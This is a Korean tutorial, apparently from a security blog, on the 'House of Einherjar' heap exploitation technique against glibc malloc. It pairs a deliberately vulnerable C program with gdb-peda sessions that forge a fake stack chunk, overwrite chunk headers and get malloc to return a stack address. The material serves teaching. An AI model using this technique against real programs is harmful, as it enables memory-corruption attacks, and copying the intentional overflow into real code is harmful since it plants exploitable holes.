Excuse the ads! We need some help to keep our site up.
List
Conditions
- 해당 기술은 다음과 같은 조건에서 동작합니다.
- 공격자에 의해 Heap을 생성,해제가 가능해야 합니다.
- 공격자에 의해 Stack 영역에 Fake chunk를 생성 할 수 있어야 합니다.
- 공격자에 의해 Allocated chunk의 size값에서 "prev_inuse" flag 값을 제거 할 수 있어야 합니다.
- 공격자에 의해 변경된 Allocated chunk의 size값 앞 영역에 값을 저장할 수 있어야 합니다.
- 저장될 값: "prev_inuse flag 값이 제거된 Heap 영역의 시작 주소" - Heap header size(16/8) - FakeChunk address
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
Stack 영영에 Fake chunk(Free Chunk)를 생성합니다.
- 3개의 Heap 영역을 할당 합니다.
- 2번재 Heap 영역(Allocated Chunk)의 size 값에서 "prev_inuse" flag 값을 제거 합니다.
- 2번재 Heap 영역(Allocated Chunk)의 prev_size 영역에 다음과 같은 값을 저장합니다.
- 2번재 Heap 영역의 시작 주소 - Heap header size(16 or 8) - FakeChunk address
- 2번재 Heap 영역의 시작 주소 - Heap header size(16 or 8) - FakeChunk address
- 2번재 Heap 영역을 해제 합니다.
- 2번재 Heap 영역을 해제로 인해 Fake chunk의 size값이 변경됩니다.
- 2번재 Heap 영역을 해제로 인해 Fake chunk의 size값이 변경됩니다.
- Fake chunk의 size 값을 원하는 값으로 변경합니다.
- 원하는 크기의 메모리 영역을 할당 합니다.
- FakeChunk address + 0x10 영역을 할당 받습니다.
Example
Files
Source code
#include <stdio.h> #include <malloc.h> #include <unistd.h> int main() { char fake_chunk[32]; read(0,fake_chunk,32); char *buf1 = malloc(0x70); char *buf2 = malloc(0x100); char *buf3 = malloc(0x70); read(0,buf1,122); free(buf2); read(0,fake_chunk,16); char *buf4 = malloc(0x200); }
Exploit flow
Debugging
- 다음과 같이 Break point를 설정합니다.
0x400653 : read(0,fake_chunk,32) 호출 후
0x40068e : read(0,buf1,122) 호출 후
0x40069f : free(buf2) 호출 후
- 0x4006b5 : read(0,fake_chunk,16) 호출 후
0x4006bf : malloc(0x200) 호출 후
Break points
gdb-peda$ b *0x0000000000400653 Breakpoint 1 at 0x400653 gdb-peda$ b *0x000000000040068e Breakpoint 2 at 0x40068e gdb-peda$ b *0x000000000040069f Breakpoint 3 at 0x40069f gdb-peda$ b *0x00000000004006b5 Breakpoint 4 at 0x4006b5 gdb-peda$ b *0x00000000004006bf Breakpoint 5 at 0x4006bf gdb-peda$
- 다음과 같이 Stack영역에 Fake Free chunk를 생성합니다.
- size : 0x100
- fwd, bck :
0x7fffffffe4a0
Create Fake chunk
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/houseOfEinherjar AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD Breakpoint 1, 0x0000000000400653 in main () gdb-peda$ x/4gx 0x7fffffffe4a0 0x7fffffffe4a0: 0x4141414141414141 0x4242424242424242 0x7fffffffe4b0: 0x4343434343434343 0x4444444444444444 gdb-peda$ set *0x7fffffffe4a8 = 0x100 gdb-peda$ set *0x7fffffffe4ac = 0x0 gdb-peda$ set *0x7fffffffe4b0 = 0x7fffffffe4a0 gdb-peda$ set *0x7fffffffe4b4 = 0x7fff gdb-peda$ set *0x7fffffffe4b8 = 0x7fffffffe4a0 gdb-peda$ set *0x7fffffffe4bc = 0x7fff gdb-peda$ x/4gx 0x7fffffffe4a0 0x7fffffffe4a0: 0x4141414141414141 0x0000000000000100 0x7fffffffe4b0: 0x00007fffffffe4a0 0x00007fffffffe4a0 gdb-peda$
- 다음과 같이 buf2 chunk의 prev_size, size값을 덮어씁니다.
- 사용자 입력값으로 buf2의 prev_size, size영역을 덮어쓸 수 있습니다.
- 공격을 위해 다음과 같이 변경합니다.
- prev_size : buf2(0x602090) - Chunk header(16) - Fake free chunk(0x7fffffffe4a0) = 0xffff800000603be0
- size : 0x111 - prev_inuse(0x1) = 0x110
Overwrite for Prev_size and Size area of Free chunk.
gdb-peda$ c Continuing. Breakpoint 2, 0x000000000040068e in main () gdb-peda$ x/68gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000111 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000081 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000000 0x0000000000000000 0x6021c0: 0x0000000000000000 0x0000000000000000 0x6021d0: 0x0000000000000000 0x0000000000000000 0x6021e0: 0x0000000000000000 0x0000000000000000 0x6021f0: 0x0000000000000000 0x0000000000000000 0x602200: 0x0000000000000000 0x0000000000000000 0x602210: 0x0000000000000000 0x0000000000020df1 gdb-peda$ ni BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 0x0000000000400693 in main () gdb-peda$ x/20gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x4242424242424242 0x4242424242424242 0x602020: 0x4242424242424242 0x4242424242424242 0x602030: 0x4242424242424242 0x4242424242424242 0x602040: 0x4242424242424242 0x4242424242424242 0x602050: 0x4242424242424242 0x4242424242424242 0x602060: 0x4242424242424242 0x4242424242424242 0x602070: 0x4242424242424242 0x4242424242424242 0x602080: 0x4242424242424242 0x0000000000004242 0x602090: 0x0000000000000000 0x0000000000000000 gdb-peda$ p/x 0x602090 - 16 - 0x7fffffffe4a0 $1 = 0xffff800000603be0 gdb-peda$ set *0x602080 = 0xffff800000603be0 gdb-peda$ set *0x602084 = 0xffff8000 gdb-peda$ set *0x602088 = 0x110 gdb-peda$ x/2gx 0x602080 0x602080: 0xffff800000603be0 0x0000000000000110 gdb-peda$
- 다음과 같이 stack 영역을 unsorted bin에 등록 할 수 있습니다.
- buf2 영역이 해제되면 Fake free chunk 영역이 Unsorted bin에 등록되는 이유는 다음과 같습니다.
- buf2의 prev_inuse flag를 제거 했기 때문에 이전 Chunk가 없는 것으로 판단하게 됩니다.
- buf2의 prev_size 영역에 값으로 인해 해당 영역이 free chunk로 판단하게 됩니다.
- 0x602080 - 0xffff800000603be0 = 0x7fffffffe4a0
- 0x602080 - 0xffff800000603be0 = 0x7fffffffe4a0
- buf2 영역이 해제되면 Fake free chunk 영역이 Unsorted bin에 등록되는 이유는 다음과 같습니다.
The stack area is registered in the unsorted Bin.
gdb-peda$ c Continuing. Breakpoint 3, 0x000000000040069f in main () gdb-peda$ x/4gx 0x7fffffffe4a0 0x7fffffffe4a0: 0x4141414141414141 0xffff800000603cf1 0x7fffffffe4b0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 gdb-peda$ x/68gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x4242424242424242 0x4242424242424242 0x602020: 0x4242424242424242 0x4242424242424242 0x602030: 0x4242424242424242 0x4242424242424242 0x602040: 0x4242424242424242 0x4242424242424242 0x602050: 0x4242424242424242 0x4242424242424242 0x602060: 0x4242424242424242 0x4242424242424242 0x602070: 0x4242424242424242 0x4242424242424242 0x602080: 0xffff800000603be0 0x0000000000000110 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0xffff800000603cf0 0x0000000000000080 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000000 0x0000000000000000 0x6021c0: 0x0000000000000000 0x0000000000000000 0x6021d0: 0x0000000000000000 0x0000000000000000 0x6021e0: 0x0000000000000000 0x0000000000000000 0x6021f0: 0x0000000000000000 0x0000000000000000 0x602200: 0x0000000000000000 0x0000000000000000 0x602210: 0x0000000000000000 0x0000000000020df1 gdb-peda$ p main_arena.bins[1] $6 = (mchunkptr) 0x7fffffffe4a0 gdb-peda$
- 다음과 같이 Stack 영역을 할당 받을 수 있습니다.
- Fake free chunk의 size영역에 할당 받기 원하는 크기를 입력합니다.
- free() 함수로 인해 Fake free chunk의 size영역에 값이 변경되었습니다.
- malloc() 함수호출을 하면 "Fake free chunk + 0x10" 영역을 할당받습니다.
- Fake free chunk의 size영역에 할당 받기 원하는 크기를 입력합니다.
Allocated to Stack area.
gdb-peda$ c Continuing. AAAAAAAABBBBBBB Breakpoint 4, 0x00000000004006b5 in main () gdb-peda$ x/4gx 0x7fffffffe4a0 0x7fffffffe4a0: 0x4141414141414141 0x0a42424242424242 0x7fffffffe4b0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 gdb-peda$ set *0x7fffffffe4a8 = 0x1000 gdb-peda$ set *0x7fffffffe4ac = 0x0 gdb-peda$ x/4gx 0x7fffffffe4a0 0x7fffffffe4a0: 0x4141414141414141 0x0000000000001000 0x7fffffffe4b0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 gdb-peda$ c Continuing. Breakpoint 5, 0x00000000004006bf in main () gdb-peda$ i r rax $7 = 0x7fffffffe4b0 gdb-peda$ p main_arena.bins[1] $8 = (mchunkptr) 0x7fffffffe6b0